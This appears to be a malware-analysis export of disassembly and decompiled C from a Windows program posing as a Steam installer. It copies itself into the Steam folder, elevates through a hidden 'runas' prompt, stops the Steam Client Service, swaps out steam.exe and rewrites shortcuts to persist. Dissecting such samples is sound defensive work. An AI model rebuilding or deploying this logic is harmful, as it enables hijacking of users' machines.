140007721	48 89 44 24 40	MOV qword ptr [RSP + local_678],RAX	; "steam.exe.new"
140007726	66 66 0f 1f 84 00 00 00 …	NOP dword ptr [RAX + RAX*0x1]
LAB_140007730:
140007730	48 8b 44 fc 30	MOV RAX,qword ptr [RSP + RDI*0x8 + local_680]
140007735	4c 8d 05 ac 28 02 00	LEA R8,[u_%s\%s_140029fe8]	; "%s\\%s"
14000773c	4d 8b ce	MOV R9,R14
14000773f	48 89 44 24 20	MOV qword ptr [RSP + local_698],RAX	; "steam.orig.exe"
140007744	ba 04 01 00 00	MOV EDX,0x104
140007749	48 8d 8c 24 60 02 00 00	LEA RCX,[RSP + 0x260]
140007751	e8 0a c8 ff ff	CALL FUN_140003f60	; FUN_140003f60: GetLastError, SetLastError
140007756	66 39 b4 24 60 02 00 00	CMP word ptr [RSP + local_458],SI
14000775e	74 34	JZ LAB_140007794
140007760	48 8d 8c 24 60 02 00 00	LEA RCX,[RSP + 0x260]
140007768	ff 15 aa 7a 01 00	CALL qword ptr [PTR_GetFileAttributesW_14001f218]
14000776e	83 f8 ff	CMP EAX,-0x1
140007771	74 21	JZ LAB_140007794
140007773	ba 80 00 00 00	MOV EDX,0x80
140007778	48 8d 8c 24 60 02 00 00	LEA RCX,[RSP + 0x260]
140007780	ff 15 9a 7a 01 00	CALL qword ptr [PTR_SetFileAttributesW_14001f220]
140007786	48 8d 8c 24 60 02 00 00	LEA RCX,[RSP + 0x260]
14000778e	ff 15 c4 7a 01 00	CALL qword ptr [PTR_DeleteFileW_14001f258]
LAB_140007794:
140007794	48 ff c7	INC RDI
140007797	48 83 ff 03	CMP RDI,0x3
14000779b	7c 93	JL LAB_140007730
14000779d	48 8b bc 24 90 06 00 00	MOV RDI,qword ptr [RSP + local_28]
1400077a5	4c 8d 05 64 2a 02 00	LEA R8,[u_%s\steam.exe.old_14002a210]	; "%s\\steam.exe.old"
1400077ac	4d 8b ce	MOV R9,R14
1400077af	48 8d 8c 24 70 04 00 00	LEA RCX,[RSP + 0x470]
1400077b7	ba 04 01 00 00	MOV EDX,0x104
1400077bc	e8 9f c7 ff ff	CALL FUN_140003f60	; FUN_140003f60: GetLastError, SetLastError
1400077c1	ba 80 00 00 00	MOV EDX,0x80
1400077c6	48 8d 8c 24 70 04 00 00	LEA RCX,[RSP + 0x470]
1400077ce	ff 15 4c 7a 01 00	CALL qword ptr [PTR_SetFileAttributesW_14001f220]
1400077d4	48 8d 8c 24 70 04 00 00	LEA RCX,[RSP + 0x470]
1400077dc	ff 15 76 7a 01 00	CALL qword ptr [PTR_DeleteFileW_14001f258]
1400077e2	48 85 db	TEST RBX,RBX
1400077e5	74 5c	JZ LAB_140007843
LAB_1400077e7:
1400077e7	66 39 33	CMP word ptr [RBX],SI
1400077ea	74 57	JZ LAB_140007843
1400077ec	48 8b cb	MOV RCX,RBX
1400077ef	ff 15 23 7a 01 00	CALL qword ptr [PTR_GetFileAttributesW_14001f218]
1400077f5	83 f8 ff	CMP EAX,-0x1
1400077f8	74 49	JZ LAB_140007843
1400077fa	48 8b d3	MOV RDX,RBX
1400077fd	48 8b cd	MOV RCX,RBP
140007800	e8 0b e5 ff ff	CALL FUN_140005d10	; FUN_140005d10: GetFileAttributesExW, CreateFileW, ReadFile, CloseHandle
140007805	85 c0	TEST EAX,EAX
140007807	75 3a	JNZ LAB_140007843
140007809	ba 80 00 00 00	MOV EDX,0x80
14000780e	48 8b cb	MOV RCX,RBX
140007811	ff 15 09 7a 01 00	CALL qword ptr [PTR_SetFileAttributesW_14001f220]
140007817	48 8b cb	MOV RCX,RBX
14000781a	ff 15 38 7a 01 00	CALL qword ptr [PTR_DeleteFileW_14001f258]
140007820	85 c0	TEST EAX,EAX
140007822	75 1f	JNZ LAB_140007843
140007824	48 8d 94 24 70 04 00 00	LEA RDX,[RSP + 0x470]
14000782c	48 8b cb	MOV RCX,RBX
14000782f	ff 15 8b 87 02 00	CALL qword ptr [DAT_14002ffc0]
140007835	48 8d 8c 24 70 04 00 00	LEA RCX,[RSP + 0x470]
14000783d	ff 15 15 7a 01 00	CALL qword ptr [PTR_DeleteFileW_14001f258]
LAB_140007843:
140007843	48 8b d3	MOV RDX,RBX
140007846	48 8b cd	MOV RCX,RBP
140007849	e8 a2 e5 ff ff	CALL FUN_140005df0	; FUN_140005df0: GetFullPathNameW
14000784e	85 c0	TEST EAX,EAX
140007850	0f 85 c5 00 00 00	JNZ LAB_14000791b
140007856	48 8b d3	MOV RDX,RBX
140007859	48 8b cd	MOV RCX,RBP
14000785c	e8 5f f0 ff ff	CALL FUN_1400068c0	; FUN_1400068c0: GetCurrentProcessId, GetTickCount, Sleep
140007861	85 c0	TEST EAX,EAX
140007863	0f 85 b2 00 00 00	JNZ LAB_14000791b
140007869	4d 8b ce	MOV R9,R14
14000786c	4c 8d 05 c5 29 02 00	LEA R8,[u_%s\steam.exe.new_14002a238]	; "%s\\steam.exe.new"
140007873	ba 04 01 00 00	MOV EDX,0x104
140007878	48 8d 4c 24 50	LEA RCX,[RSP + 0x50]
14000787d	e8 de c6 ff ff	CALL FUN_140003f60	; FUN_140003f60: GetLastError, SetLastError
140007882	ba 80 00 00 00	MOV EDX,0x80
140007887	48 8d 4c 24 50	LEA RCX,[RSP + 0x50]
14000788c	ff 15 8e 79 01 00	CALL qword ptr [PTR_SetFileAttributesW_14001f220]
140007892	48 8d 4c 24 50	LEA RCX,[RSP + 0x50]
140007897	ff 15 bb 79 01 00	CALL qword ptr [PTR_DeleteFileW_14001f258]
14000789d	48 8d 54 24 50	LEA RDX,[RSP + 0x50]
1400078a2	48 8b cd	MOV RCX,RBP
1400078a5	e8 16 f0 ff ff	CALL FUN_1400068c0	; FUN_1400068c0: GetCurrentProcessId, GetTickCount, Sleep
1400078aa	85 c0	TEST EAX,EAX
1400078ac	74 43	JZ LAB_1400078f1
1400078ae	ba 80 00 00 00	MOV EDX,0x80
1400078b3	48 8b cb	MOV RCX,RBX
1400078b6	ff 15 64 79 01 00	CALL qword ptr [PTR_SetFileAttributesW_14001f220]
1400078bc	48 8b cb	MOV RCX,RBX
1400078bf	ff 15 93 79 01 00	CALL qword ptr [PTR_DeleteFileW_14001f258]
1400078c5	48 8b d3	MOV RDX,RBX
1400078c8	48 8d 4c 24 50	LEA RCX,[RSP + 0x50]
1400078cd	ff 15 ed 86 02 00	CALL qword ptr [DAT_14002ffc0]
1400078d3	85 c0	TEST EAX,EAX
1400078d5	75 39	JNZ LAB_140007910
1400078d7	48 8b d3	MOV RDX,RBX
1400078da	48 8b cd	MOV RCX,RBP
1400078dd	e8 de ef ff ff	CALL FUN_1400068c0	; FUN_1400068c0: GetCurrentProcessId, GetTickCount, Sleep
1400078e2	85 c0	TEST EAX,EAX
1400078e4	75 2a	JNZ LAB_140007910
1400078e6	48 8d 4c 24 50	LEA RCX,[RSP + 0x50]
1400078eb	ff 15 67 79 01 00	CALL qword ptr [PTR_DeleteFileW_14001f258]
LAB_1400078f1:
1400078f1	33 c0	XOR EAX,EAX
LAB_1400078f3:
1400078f3	48 8b 8c 24 80 06 00 00	MOV RCX,qword ptr [RSP + local_38]
1400078fb	48 33 cc	XOR RCX,RSP
1400078fe	e8 2d 10 00 00	CALL __security_check_cookie
LAB_140007910:
140007910	48 8d 4c 24 50	LEA RCX,[RSP + 0x50]
140007915	ff 15 3d 79 01 00	CALL qword ptr [PTR_DeleteFileW_14001f258]
LAB_14000791b:
14000791b	48 85 db	TEST RBX,RBX
14000791e	74 27	JZ LAB_140007947
140007920	66 39 33	CMP word ptr [RBX],SI
140007923	74 22	JZ LAB_140007947
140007925	48 8b cb	MOV RCX,RBX
140007928	ff 15 ea 78 01 00	CALL qword ptr [PTR_GetFileAttributesW_14001f218]
14000792e	83 f8 ff	CMP EAX,-0x1
140007931	74 14	JZ LAB_140007947
140007933	48 8b d3	MOV RDX,RBX
140007936	48 8b cd	MOV RCX,RBP
140007939	e8 d2 e3 ff ff	CALL FUN_140005d10	; FUN_140005d10: GetFileAttributesExW, CreateFileW, ReadFile, CloseHandle
14000793e	85 c0	TEST EAX,EAX
140007940	74 05	JZ LAB_140007947
140007942	be 01 00 00 00	MOV ESI,0x1
LAB_140007947:
140007947	8b c6	MOV EAX,ESI
140007949	eb a8	JMP LAB_1400078f3

the main installer

0x1400079503288 bytes

undefined FUN_140007950(void)

the main installer: copies self to Steam dir, elevates via UAC, stops a service, kills processes, replaces files and sets persistence

Cited as: E6, E13, E14
Behaviours: B5, B10, B11, B12
Called from: FUN_140008650
Calls: PathMatchSpecW PathRemoveFileSpecW ShellExecuteExW SHGetFolderPathW SHCreateDirectoryExW CloseServiceHandle OpenSCManagerW ControlService OpenServiceW FindFirstFileW GetFullPathNameW FindNextFileW ExpandEnvironmentStringsW RemoveDirectoryW GetModuleFileNameW FindClose CreateFileW GetFileAttributesW Sleep DeleteFileW CloseHandle ExitProcess GetCurrentProcessId GetTickCount FUN_140003f60

Decompiled C · 306 lines

/* WARNING: Function: __chkstk replaced with injection: alloca_probe */
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140007950(void)

{
  wchar_t *pwVar1;
  bool bVar2;
  int iVar3;
  DWORD DVar4;
  BOOL BVar5;
  DWORD DVar6;
  int iVar7;
  int iVar8;
  longlong lVar9;
  longlong lVar10;
  undefined7 extraout_var;
  undefined7 extraout_var_00;
  HANDLE pvVar11;
  SC_HANDLE hSCManager;
  SC_HANDLE hService;
  wchar_t *pwVar12;
  uint uVar13;
  ulonglong uVar14;
  ulonglong uVar15;
  undefined1 auStackY_1458 [32];
  _SERVICE_STATUS local_1418;
  _WIN32_FIND_DATAW local_13f8;
  _WIN32_FIND_DATAW local_11a8;
  undefined4 local_f58;
  undefined4 local_f54;
  undefined4 local_f50;
  WCHAR local_f48 [32];
  SHELLEXECUTEINFOW local_f08;
  WCHAR local_e98 [264];
  WCHAR local_c88 [264];
  WCHAR local_a78 [264];
  WCHAR local_868 [264];
  wchar_t local_658 [264];
  WCHAR local_448 [264];
  wchar_t local_238 [264];
  ulonglong local_28;
  undefined8 uStack_20;
  
  uStack_20 = 0x140007971;
  local_28 = DAT_14002e040 ^ (ulonglong)auStackY_1458;
  GetModuleFileNameW((HMODULE)0x0,local_448,0x104);
  iVar3 = FUN_140006170(local_c88);
  if (iVar3 == 0) {
    ExpandEnvironmentStringsW(L"%ProgramFiles(x86)%\\Steam\\steam.exe",local_c88,0x104);
  }
  wcscpy_s(local_658,0x104,local_c88);
  PathRemoveFileSpecW(local_658);
  DVar6 = 0;
  SHCreateDirectoryExW((HWND)0x0,local_658,(SECURITY_ATTRIBUTES *)0x0);
  uVar15 = 0;
  if ((local_c88[0] == L'\0') || (DVar4 = GetFileAttributesW(local_c88), DVar4 == 0xffffffff)) {
    bVar2 = true;
  }
  else {
    if ((local_448[0] != L'\0') && (local_c88[0] != L'\0')) {
      lVar9 = FUN_140005c10(local_448);
      lVar10 = FUN_140005c10(local_c88);
      if ((lVar9 == lVar10) &&
         (((lVar9 = FUN_140005c10(local_448), lVar9 != 0 &&
           (bVar2 = FUN_140005c70(local_448,&local_f08,DVar6),
           (int)CONCAT71(extraout_var,bVar2) != 0)) &&
          (bVar2 = FUN_140005c70(local_c88,local_f48,DVar6),
          (int)CONCAT71(extraout_var_00,bVar2) != 0)))) {
        iVar3 = memcmp(&local_f08,local_f48,0x40);
        bVar2 = iVar3 != 0;
        goto LAB_140007ad8;
      }
    }
    bVar2 = true;
  }
LAB_140007ad8:
  iVar3 = FUN_140005e80();
  if (iVar3 == 0) {
    FUN_140003f60(local_a78,0x104,0x1400299b0,local_658);
    pvVar11 = CreateFileW(local_a78,0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x4000100,(HANDLE)0x0)
    ;
    if (pvVar11 == (HANDLE)0xffffffffffffffff) {
      GetModuleFileNameW((HMODULE)0x0,local_a78,0x104);
      local_f58 = 0x750072;
      local_f54 = 0x61006e;
      local_f50 = 0x73;
      FUN_1400112c4((short *)&local_1418,8,(longlong)&local_f58,-1);
      local_f08.lpVerb = (LPCWSTR)&local_1418;
      local_f08.lpFile = local_a78;
      local_f08.hwnd = (HWND)0x0;
      local_f08.hInstApp = (HINSTANCE)0x0;
      local_f08.cbSize = 0x70;
      local_f08.fMask = 0;
      local_f08.lpParameters = (LPCWSTR)0x0;
      local_f08.lpDirectory = (LPCWSTR)0x0;
      local_f08.nShow = 1;
      local_f08._52_4_ = 0;
      local_f08.lpIDList = (void *)0x0;
      local_f08.lpClass = (LPCWSTR)0x0;
      local_f08.hkeyClass = (HKEY)0x0;
      local_f08.dwHotKey = 0;
      local_f08._92_4_ = 0;
      local_f08.u.hIcon = (HANDLE)0x0;
      local_f08.hProcess = (HANDLE)0x0;
      BVar5 = ShellExecuteExW(&local_f08);
      if (BVar5 != 0) {
                    /* WARNING: Subroutine does not return */
        ExitProcess(0);
      }
    }
    else {
      CloseHandle(pvVar11);
    }
  }
  iVar3 = FUN_140006770();
  if ((bVar2) && (iVar3 != 0)) {
    builtin_memcpy(local_f48,L"Steam Client Service",0x2a);
    hSCManager = OpenSCManagerW((LPCWSTR)0x0,(LPCWSTR)0x0,1);
    uVar14 = uVar15;
    if (hSCManager != (SC_HANDLE)0x0) {
      hService = OpenServiceW(hSCManager,local_f48,0x24);
      if (hService != (SC_HANDLE)0x0) {
        ControlService(hService,1,&local_1418);
        DVar6 = GetCurrentProcessId();
        DVar4 = GetTickCount();
        Sleep(((DVar6 ^ DVar4) & 0x3ff) + 400);
        CloseServiceHandle(hService);
      }
      CloseServiceHandle(hSCManager);
    }
    do {
      FUN_1400064c0(1,(undefined4 *)0x0);
      DVar6 = GetCurrentProcessId();
      DVar4 = GetTickCount();
      Sleep(((DVar6 ^ DVar4) & 0x3ff) + 400);
      iVar3 = FUN_140006770();
      if (iVar3 == 0) break;
      uVar13 = (int)uVar14 + 1;
      uVar14 = (ulonglong)uVar13;
    } while ((int)uVar13 < 0xc);
    iVar3 = FUN_140006770();
  }
  else {
    iVar7 = 1;
    if (!bVar2) goto LAB_140007d9e;
  }
  iVar7 = FUN_140007680(local_448,local_c88,local_658);
LAB_140007d9e:
  wcscpy_s(local_238,0x104,local_658);
  pwVar12 = local_238;
  while (local_238[0] != L'\0') {
    if (local_238[0] == L'\\') {
      *pwVar12 = L'/';
    }
    pwVar1 = pwVar12 + 1;
    pwVar12 = pwVar12 + 1;
    local_238[0] = *pwVar1;
  }
  iVar8 = SHGetFolderPathW(0,2,0);
  if ((-1 < iVar8) && (iVar8 = SHGetFolderPathW(0,0x17,0), -1 < iVar8)) {
    FUN_140011230(local_e98,0x104,0x14002a188);
    FUN_140011230(local_868,0x104,0x14002a188);
    if (((local_e98[0] != L'\0') &&
        (((DVar6 = GetFileAttributesW(local_e98), DVar6 != 0xffffffff && (local_868[0] != L'\0')) &&
         (DVar6 = GetFileAttributesW(local_868), DVar6 != 0xffffffff)))) &&
       (BVar5 = DeleteFileW(local_e98), BVar5 != 0)) {
      wcscpy_s(local_a78,0x104,local_e98);
      PathRemoveFileSpecW(local_a78);
      RemoveDirectoryW(local_a78);
    }
  }
  iVar8 = SHGetFolderPathW(0,0x10,0);
  if ((-1 < iVar8) && (iVar8 = SHGetFolderPathW(0,0x19,0), -1 < iVar8)) {
    FUN_140011230(local_e98,0x104,0x14002a1b0);
    FUN_140011230(local_868,0x104,0x14002a1b0);
    if (((local_e98[0] != L'\0') &&
        ((DVar6 = GetFileAttributesW(local_e98), DVar6 != 0xffffffff && (local_868[0] != L'\0'))))
       && (DVar6 = GetFileAttributesW(local_868), DVar6 != 0xffffffff)) {
      DeleteFileW(local_e98);
    }
  }
  iVar8 = SHGetFolderPathW(0,0x1c,0);
  if (-1 < iVar8) {
    FUN_140003f60(local_868,0x104,0x14002a1c8,local_a78);
    DeleteFileW(local_868);
    FUN_140003f60(local_868,0x104,0x14002a1f8,local_a78);
    RemoveDirectoryW(local_868);
  }
  FUN_140006d70(local_c88,(BYTE *)local_658,(BYTE *)local_238);
  local_1418.dwServiceType = _DAT_14002a500;
  local_1418.dwCurrentState = _UNK_14002a504;
  local_1418.dwControlsAccepted = _UNK_14002a508;
  local_1418.dwWin32ExitCode = _UNK_14002a50c;
  local_1418.dwServiceSpecificExitCode = 7;
  local_1418.dwCheckPoint = 0x18;
  do {
    iVar8 = SHGetFolderPathW(0,(&local_1418.dwServiceType)[uVar15],0);
    if ((-1 < iVar8) && (local_868[0] != L'\0')) {
      FUN_140003f60(local_e98,0x104,0x140029fd8,local_868);
      pvVar11 = FindFirstFileW(local_e98,&local_11a8);
      if (pvVar11 != (HANDLE)0xffffffffffffffff) {
        do {
          if (local_11a8.cFileName[0] != L'.') {
            FUN_140003f60(local_a78,0x104,0x140029fe8,local_868);
            if (((byte)local_11a8.dwFileAttributes & 0x10) == 0) {
              BVar5 = PathMatchSpecW(local_11a8.cFileName,L"*.lnk");
              if (BVar5 != 0) {
                FUN_140007270(local_a78,local_c88,local_658,local_c88);
              }
            }
            else {
              FUN_140007520(local_a78,local_c88,local_658,local_c88,1);
            }
          }
          BVar5 = FindNextFileW(pvVar11,&local_11a8);
        } while (BVar5 != 0);
        FindClose(pvVar11);
      }
    }
    uVar15 = uVar15 + 1;
  } while ((longlong)uVar15 < 6);
  iVar8 = SHGetFolderPathW(0,0x1a,0);
  if (-1 < iVar8) {
    wcscpy_s(local_e98,0x104,local_868);
    FUN_140011230(local_e98,0x104,0x14002a010);
    if (local_e98[0] != L'\0') {
      FUN_140003f60((undefined2 *)&local_11a8,0x104,0x140029fd8,local_e98);
      pvVar11 = FindFirstFileW((LPCWSTR)&local_11a8,&local_13f8);
      if (pvVar11 != (HANDLE)0xffffffffffffffff) {
        do {
          if (local_13f8.cFileName[0] != L'.') {
            FUN_140003f60(local_a78,0x104,0x140029fe8,local_e98);
            if (((byte)local_13f8.dwFileAttributes & 0x10) == 0) {
              BVar5 = PathMatchSpecW(local_13f8.cFileName,L"*.lnk");
              if (BVar5 != 0) {
                FUN_140007270(local_a78,local_c88,local_658,local_c88);
              }
            }
            else {
              FUN_140007520(local_a78,local_c88,local_658,local_c88,1);
            }
          }
          BVar5 = FindNextFileW(pvVar11,&local_13f8);
        } while (BVar5 != 0);
        FindClose(pvVar11);
      }
    }
    wcscpy_s(local_e98,0x104,local_868);
    FUN_140011230(local_e98,0x104,0x14002a070);
    if (local_e98[0] != L'\0') {
      FUN_140003f60((undefined2 *)&local_11a8,0x104,0x140029fd8,local_e98);
      pvVar11 = FindFirstFileW((LPCWSTR)&local_11a8,&local_13f8);
      if (pvVar11 != (HANDLE)0xffffffffffffffff) {
        do {
          if (local_13f8.cFileName[0] != L'.') {
            FUN_140003f60(local_a78,0x104,0x140029fe8,local_e98);
            if (((byte)local_13f8.dwFileAttributes & 0x10) == 0) {
              BVar5 = PathMatchSpecW(local_13f8.cFileName,L"*.lnk");
              if (BVar5 != 0) {
                FUN_140007270(local_a78,local_c88,local_658,local_c88);
              }
            }
            else {
              FUN_140007520(local_a78,local_c88,local_658,local_c88,1);
            }
          }
          BVar5 = FindNextFileW(pvVar11,&local_13f8);
        } while (BVar5 != 0);
        FindClose(pvVar11);
      }
    }
    wcscpy_s(local_e98,0x104,local_868);
    FUN_140011230(local_e98,0x104,0x14002a0f0);
    if (local_e98[0] != L'\0') {
      FUN_140003f60((undefined2 *)&local_11a8,0x104,0x140029fd8,local_e98);
      pvVar11 = FindFirstFileW((LPCWSTR)&local_11a8,&local_13f8);
      if (pvVar11 != (HANDLE)0xffffffffffffffff) {
        do {
          if (local_13f8.cFileName[0] != L'.') {
            FUN_140003f60(local_a78,0x104,0x140029fe8,local_e98);
            if (((byte)local_13f8.dwFileAttributes & 0x10) == 0) {
              BVar5 = PathMatchSpecW(local_13f8.cFileName,L"*.lnk");
              if (BVar5 != 0) {
                FUN_140007270(local_a78,local_c88,local_658,local_c88);
              }
            }
            else {
              FUN_140007520(local_a78,local_c88,local_658,local_c88,1);
            }
          }
          BVar5 = FindNextFileW(pvVar11,&local_13f8);
        } while (BVar5 != 0);
        FindClose(pvVar11);
      }
    }
  }
  if ((((iVar7 == 0) && (iVar3 == 0)) &&
      (DVar6 = GetFullPathNameW(local_448,0x104,local_a78,(LPWSTR *)0x0), DVar6 != 0)) &&
     (DVar6 = GetFullPathNameW(local_c88,0x104,(LPWSTR)&local_11a8,(LPWSTR *)0x0), DVar6 != 0)) {
    FID_conflict__wcsicoll(local_a78,(wchar_t *)&local_11a8);
  }
}

Assembly · 627 instructions, 63 annotated

Address	Bytes	Instruction	Comment
140007950	48 89 7c 24 18	MOV qword ptr [RSP + local_res18],RDI
140007955	4c 89 64 24 20	MOV qword ptr [RSP + local_res20],R12
14000795a	55	PUSH RBP
14000795b	41 56	PUSH R14
14000795d	41 57	PUSH R15
14000795f	48 8d ac 24 c0 ec ff ff	LEA RBP,[RSP + -0x1340]
140007967	b8 40 14 00 00	MOV EAX,0x1440
14000796c	e8 ff 5e 01 00	CALL __chkstk
140007971	48 2b e0	SUB RSP,RAX
140007974	48 8b 05 c5 66 02 00	MOV RAX,qword ptr [DAT_14002e040]
14000797b	48 33 c4	XOR RAX,RSP
14000797e	48 89 85 30 13 00 00	MOV qword ptr [RBP + local_28],RAX
140007985	41 b8 04 01 00 00	MOV R8D,0x104
14000798b	48 8d 95 10 0f 00 00	LEA RDX,[RBP + 0xf10]
140007992	33 c9	XOR ECX,ECX
140007994	ff 15 56 78 01 00	CALL qword ptr [PTR_GetModuleFileNameW_14001f1f0]
14000799a	48 8d 8d d0 06 00 00	LEA RCX,[RBP + 0x6d0]
1400079a1	e8 ca e7 ff ff	CALL FUN_140006170	; FUN_140006170: RegOpenKeyExW, RegQueryValueExW, RegCloseKey, GetFullPathNameW +2
1400079a6	85 c0	TEST EAX,EAX
1400079a8	75 1a	JNZ LAB_1400079c4
1400079aa	41 b8 04 01 00 00	MOV R8D,0x104
1400079b0	48 8d 95 d0 06 00 00	LEA RDX,[RBP + 0x6d0]
1400079b7	48 8d 0d f2 21 02 00	LEA RCX,[u_%ProgramFiles(x86)%\Steam\steam._140029bb0]	; "%ProgramFiles(x86)%\\Steam\\steam.exe"
1400079be	ff 15 1c 78 01 00	CALL qword ptr [PTR_ExpandEnvironmentStringsW_14001f1e0]
LAB_1400079c4:
1400079c4	4c 8d 85 d0 06 00 00	LEA R8,[RBP + 0x6d0]
1400079cb	48 89 9c 24 60 14 00 00	MOV qword ptr [RSP + local_res8],RBX
1400079d3	ba 04 01 00 00	MOV EDX,0x104
1400079d8	48 8d 8d 00 0d 00 00	LEA RCX,[RBP + 0xd00]
1400079df	e8 e4 97 00 00	CALL wcscpy_s
1400079e4	48 8d 8d 00 0d 00 00	LEA RCX,[RBP + 0xd00]
1400079eb	ff 15 17 7a 01 00	CALL qword ptr [PTR_PathRemoveFileSpecW_14001f408]
1400079f1	45 33 c0	XOR R8D,R8D
1400079f4	48 8d 95 00 0d 00 00	LEA RDX,[RBP + 0xd00]
1400079fb	33 c9	XOR ECX,ECX
1400079fd	ff 15 dd 79 01 00	CALL qword ptr [PTR_SHCreateDirectoryExW_14001f3e0]
140007a03	45 33 f6	XOR R14D,R14D
140007a06	66 44 39 b5 d0 06 00 00	CMP word ptr [RBP + local_c88],R14W
140007a0e	0f 84 bf 00 00 00	JZ LAB_140007ad3
140007a14	48 8d 8d d0 06 00 00	LEA RCX,[RBP + 0x6d0]
140007a1b	ff 15 f7 77 01 00	CALL qword ptr [PTR_GetFileAttributesW_14001f218]
140007a21	83 f8 ff	CMP EAX,-0x1
140007a24	0f 84 a9 00 00 00	JZ LAB_140007ad3
140007a2a	66 44 39 b5 10 0f 00 00	CMP word ptr [RBP + local_448],R14W
140007a32	0f 84 93 00 00 00	JZ LAB_140007acb
140007a38	66 44 39 b5 d0 06 00 00	CMP word ptr [RBP + local_c88],R14W
140007a40	0f 84 85 00 00 00	JZ LAB_140007acb
140007a46	48 8d 8d 10 0f 00 00	LEA RCX,[RBP + 0xf10]
140007a4d	e8 be e1 ff ff	CALL FUN_140005c10	; FUN_140005c10: GetFileAttributesExW
140007a52	48 8d 8d d0 06 00 00	LEA RCX,[RBP + 0x6d0]
140007a59	48 8b d8	MOV RBX,RAX
140007a5c	e8 af e1 ff ff	CALL FUN_140005c10	; FUN_140005c10: GetFileAttributesExW
140007a61	48 3b d8	CMP RBX,RAX
140007a64	75 65	JNZ LAB_140007acb
140007a66	48 8d 8d 10 0f 00 00	LEA RCX,[RBP + 0xf10]
140007a6d	e8 9e e1 ff ff	CALL FUN_140005c10	; FUN_140005c10: GetFileAttributesExW
140007a72	48 85 c0	TEST RAX,RAX
140007a75	74 54	JZ LAB_140007acb
140007a77	48 8d 95 50 04 00 00	LEA RDX,[RBP + 0x450]
140007a7e	48 8d 8d 10 0f 00 00	LEA RCX,[RBP + 0xf10]
140007a85	e8 e6 e1 ff ff	CALL FUN_140005c70	; FUN_140005c70: CreateFileW, ReadFile, CloseHandle
140007a8a	85 c0	TEST EAX,EAX
140007a8c	74 3d	JZ LAB_140007acb
140007a8e	48 8d 95 10 04 00 00	LEA RDX,[RBP + 0x410]
140007a95	48 8d 8d d0 06 00 00	LEA RCX,[RBP + 0x6d0]
140007a9c	e8 cf e1 ff ff	CALL FUN_140005c70	; FUN_140005c70: CreateFileW, ReadFile, CloseHandle
140007aa1	85 c0	TEST EAX,EAX
140007aa3	74 26	JZ LAB_140007acb
140007aa5	41 b8 40 00 00 00	MOV R8D,0x40
140007aab	48 8d 95 10 04 00 00	LEA RDX,[RBP + 0x410]
140007ab2	48 8d 8d 50 04 00 00	LEA RCX,[RBP + 0x450]
140007ab9	e8 c2 6a 01 00	CALL memcmp
140007abe	85 c0	TEST EAX,EAX
140007ac0	41 8b de	MOV EBX,R14D
140007ac3	0f 94 c3	SETZ BL
140007ac6	83 f3 01	XOR EBX,0x1
140007ac9	eb 0d	JMP LAB_140007ad8
LAB_140007acb:
140007acb	41 8b de	MOV EBX,R14D
140007ace	83 f3 01	XOR EBX,0x1
140007ad1	eb 05	JMP LAB_140007ad8
LAB_140007ad3:
140007ad3	bb 01 00 00 00	MOV EBX,0x1
LAB_140007ad8:
140007ad8	e8 a3 e3 ff ff	CALL FUN_140005e80	; FUN_140005e80: GetCurrentProcess, OpenProcessToken, GetTokenInformation, CloseHandle
140007add	85 c0	TEST EAX,EAX
140007adf	0f 85 39 01 00 00	JNZ LAB_140007c1e
140007ae5	4c 8d 8d 00 0d 00 00	LEA R9,[RBP + 0xd00]
140007aec	ba 04 01 00 00	MOV EDX,0x104
140007af1	4c 8d 05 b8 1e 02 00	LEA R8,[u_%s\update.ver_1400299b0]	; "%s\\update.ver"
140007af8	48 8d 8d e0 08 00 00	LEA RCX,[RBP + 0x8e0]
140007aff	e8 5c c4 ff ff	CALL FUN_140003f60	; FUN_140003f60: GetLastError, SetLastError
140007b04	4c 89 74 24 30	MOV qword ptr [RSP + local_1428],R14
140007b09	48 8d 8d e0 08 00 00	LEA RCX,[RBP + 0x8e0]
140007b10	c7 44 24 28 00 01 00 04	MOV dword ptr [RSP + local_1430],0x4000100
140007b18	45 33 c9	XOR R9D,R9D
140007b1b	45 33 c0	XOR R8D,R8D
140007b1e	c7 44 24 20 02 00 00 00	MOV dword ptr [RSP + local_1438],0x2
140007b26	ba 00 00 00 40	MOV EDX,0x40000000
140007b2b	ff 15 df 76 01 00	CALL qword ptr [PTR_CreateFileW_14001f210]
140007b31	48 83 f8 ff	CMP RAX,-0x1
140007b35	75 05	JNZ LAB_140007b3c
140007b37	41 8b c6	MOV EAX,R14D
140007b3a	eb 0e	JMP LAB_140007b4a
LAB_140007b3c:
140007b3c	48 8b c8	MOV RCX,RAX
140007b3f	ff 15 23 77 01 00	CALL qword ptr [PTR_CloseHandle_14001f268]
140007b45	b8 01 00 00 00	MOV EAX,0x1
LAB_140007b4a:
140007b4a	85 c0	TEST EAX,EAX
140007b4c	0f 85 cc 00 00 00	JNZ LAB_140007c1e
140007b52	41 b8 04 01 00 00	MOV R8D,0x104
140007b58	48 8d 95 e0 08 00 00	LEA RDX,[RBP + 0x8e0]
140007b5f	33 c9	XOR ECX,ECX
140007b61	ff 15 89 76 01 00	CALL qword ptr [PTR_GetModuleFileNameW_14001f1f0]
140007b67	49 c7 c1 ff ff ff ff	MOV R9,-0x1
140007b6e	c7 85 00 04 00 00 72 00 …	MOV dword ptr [RBP + local_f58],0x750072
140007b78	4c 8d 85 00 04 00 00	LEA R8,[RBP + 0x400]
140007b7f	c7 85 04 04 00 00 6e 00 …	MOV dword ptr [RBP + local_f54],0x61006e
140007b89	ba 08 00 00 00	MOV EDX,0x8
140007b8e	c7 85 08 04 00 00 73 00 …	MOV dword ptr [RBP + local_f50],0x73
140007b98	48 8d 4c 24 40	LEA RCX,[RSP + 0x40]
140007b9d	e8 22 97 00 00	CALL FUN_1400112c4	; FUN_1400112c4: GetLastError, SetLastError
140007ba2	0f 57 c0	XORPS XMM0,XMM0
140007ba5	48 8d 44 24 40	LEA RAX,[RSP + 0x40]
140007baa	0f 11 85 60 04 00 00	MOVUPS xmmword ptr [RBP + local_ef8[0]],XMM0
140007bb1	48 89 85 60 04 00 00	MOV qword ptr [RBP + local_ef8[0]],RAX
140007bb8	48 8d 8d 50 04 00 00	LEA RCX,[RBP + 0x450]
140007bbf	48 8d 85 e0 08 00 00	LEA RAX,[RBP + 0x8e0]
140007bc6	0f 11 85 50 04 00 00	MOVUPS xmmword ptr [RBP + local_f08[0]],XMM0
140007bcd	48 89 85 68 04 00 00	MOV qword ptr [RBP + local_ef8[8]],RAX
